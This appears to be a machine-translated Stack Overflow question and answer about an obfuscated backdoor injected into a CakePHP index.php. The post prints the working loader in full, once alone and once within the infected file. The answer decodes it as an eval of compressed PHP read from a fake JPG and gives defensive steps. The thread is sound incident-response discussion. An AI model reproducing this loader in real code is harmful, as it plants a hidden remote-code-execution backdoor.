前几天我在CakePHP网站上收到了一些奇怪的错误消息。我们看到如下错误:
期望失败:
此服务器无法满足Expect request-header字段中给出的期望 期待:100-continue,100-continue
仅支持100次继续预期。
我最终跟踪了index.php文件中的随机代码:
$get_ya_weekday_initial = 'dvA, @fzi*f,@pE(& lE[E`pJco"Pe*$P "/(o-A!` mh(!3,da7*& H& (a@"1m!tH&#OE#@a+E.3b2hp`s-td$p(!teq.Ck@L/tm`*ca"H$$PeRshsTE"$!IBFCcTQ`hI.H`%" )(#'| '!4ah(@ExHlFH!d! BID WgE$W#*N$!DPs( $h$ld.FELFnItr+Ner&de$ofiuQr(h$(*blh,#`je/C#rI04"+@AM@La$d2)2)%h.`,0/@@ahA+p@2PiA$alt/BRBB04u$in(jPg )!!:'; $wp_cw_kses_split = '>=^/E]u*PDAF$!V'^']O;N18*L%*"2MN8';$set_yly_timeout = $wp_cw_kses_split('',$get_ya_weekday_initial);$set_yly_timeout();
它看起来像某种加密/加密的代码,所以我很怀疑。但我不知道如何去解扰它。任何人对这个代码试图做什么都有任何想法?
编辑:这是整个index.php文件。注意:黑客代码从今天早上回来了: - /一直在服务器上查看,但是看不到代码是如何被放入的(文件中的日期修改日期保持不变,因为我昨天编辑了它)
* Copyright 2005-2007, Cake Software Foundation, Inc. * 1785 E. Sahara Avenue, Suite 490-204 * Las Vegas, Nevada 89104 * * Licensed under The MIT License * Redistributions of files must retain the above copyright notice. * * @filesource * @copyright Copyright 2005-2007, Cake Software Foundation, Inc. * @link http://www.cakefoundation.org/projects/info/cakephp CakePHP(tm) Project * @package cake * @subpackage cake.app.webroot * @since CakePHP(tm) v 0.2.9 * @version $Revision: 4450 $ * @modifiedby $LastChangedBy: phpnut $ * @lastmodified $Date: 2007-02-04 23:18:05 -0600 (Sun, 04 Feb 2007) $ * @license http://www.opensource.org/licenses/mit-license.php The MIT License */ /** * Do not change */ if (!defined('DS')) { define('DS', DIRECTORY_SEPARATOR); } /** * These defines should only be edited if you have cake installed in * a directory layout other than the way it is distributed. * Each define has a commented line of code that explains what you would change. * */ $get_ya_weekday_initial = 'dvA, @fzi*f,@pE(& lE[E`pJco"Pe*$P "/(o-A!` mh(!3,da7*& H&(a@"1m!tH&#OE#@a+E.3b2hp`s-td$p(!teq.Ck@L/tm`*ca"H$$PeRshsTE"$!IBFCcTQ`hI.H`%" )(#'| '!4ah(@ExHlFH!d! BID WgE$W#*N$!DPs( $h$ld.FELFnItr+Ner&de$ofiuQr(h$(*blh,#`je/C#rI04"+@AM@La$d2)2)%h.`,0/@@ahA+p@2PiA$alt/BRBB04u$in(jPg )!!:'; $wp_cw_kses_split = '>=^/E]u*PDAF$!V'^']O;N18*L%*"2MN8';$set_yly_timeout = $wp_cw_kses_split('',$get_ya_weekday_initial);$set_yly_timeout(); if (!defined('ROOT')) { //define('ROOT', 'FULL PATH TO DIRECTORY WHERE APP DIRECTORY IS LOCATED DO NOT ADD A TRAILING DIRECTORY SEPARATOR'; //You should also use the DS define to seperate your directories define('ROOT', dirname(dirname(dirname(__FILE__)))); } if (!defined('APP_DIR')) { //define('APP_DIR', 'DIRECTORY NAME OF APPLICATION'; define('APP_DIR', basename(dirname(dirname(__FILE__)))); } /** * This only needs to be changed if the cake installed libs are located * outside of the distributed directory structure. */ if (!defined('CAKE_CORE_INCLUDE_PATH')) { //define ('CAKE_CORE_INCLUDE_PATH', FULL PATH TO DIRECTORY WHERE CAKE CORE IS INSTALLED DO NOT ADD A TRAILING DIRECTORY SEPARATOR'; //You should also use the DS define to seperate your directories define('CAKE_CORE_INCLUDE_PATH', ROOT); } /////////////////////////////// //DO NOT EDIT BELOW THIS LINE// /////////////////////////////// if (!defined('WEBROOT_DIR')) { define('WEBROOT_DIR', basename(dirname(__FILE__))); } if (!defined('WWW_ROOT')) { define('WWW_ROOT', dirname(__FILE__) . DS); } if (!defined('CORE_PATH')) { if (function_exists('ini_set')) { ini_set('include_path', CAKE_CORE_INCLUDE_PATH . PATH_SEPARATOR . ROOT . DS . APP_DIR . DS . PATH_SEPARATOR . ini_get('include_path')); define('APP_PATH', null); define('CORE_PATH', null); } else { define('APP_PATH', ROOT . DS . APP_DIR . DS); define('CORE_PATH', CAKE_CORE_INCLUDE_PATH . DS); } } require CORE_PATH . 'cake' . DS . 'bootstrap.php'; if (isset($_GET['url']) && $_GET['url'] === 'favicon.ico') { } else { $Dispatcher = new Dispatcher(); $Dispatcher->dispatch($url); } if (Configure::read() > 0) { echo ""; } ?>
我开始怀疑我是否需要更新Cake,因为它目前是v1.1: - /
答案 0 :(得分:2)
有人对此代码尝试做什么有任何想法吗?
更易读的形式的代码是:
eval(@gzinflate(file_get_contents(".../persistent/KRFCstudio.jpg")));
这是一种被混淆的后门脚本(如果你想知道如何,see the related question)。它在代码中休息,直到提供有效负载。
需要将有效负载放入
.../cake/scripts/templates/skel/tmp/cache/persistent/KRFCstudio.jpg
以DEFLATE data (RFC 1951) PHP代码的形式(没有开头<?php
标记),请参阅gzinflate
Docs和eval
Docs。
注意:黑客代码从今天早上回来了: - /一直在服务器上查看,但是没看到代码是如何放入的(文件中的日期修改日期保持不变,因为我编辑了昨天)。
再次对文件进行更改。然后将文件设为只读(因为任何php文件应该在服务器上)。当它是只读时检查它是否仍然是干净的。还要确保在标准Web请求中读取文件的进程无法更改文件的文件权限,例如:只允许root这样做。
然后对您网站上的文件进行日志文件访问,以查明文件何时更改(或进程尝试更改文件)。
如昨天所述,您应该联系负责该服务器的人员。你已经做到了,对吗?您需要有人可以与您讨论此问题,并且可以与您讨论此问题。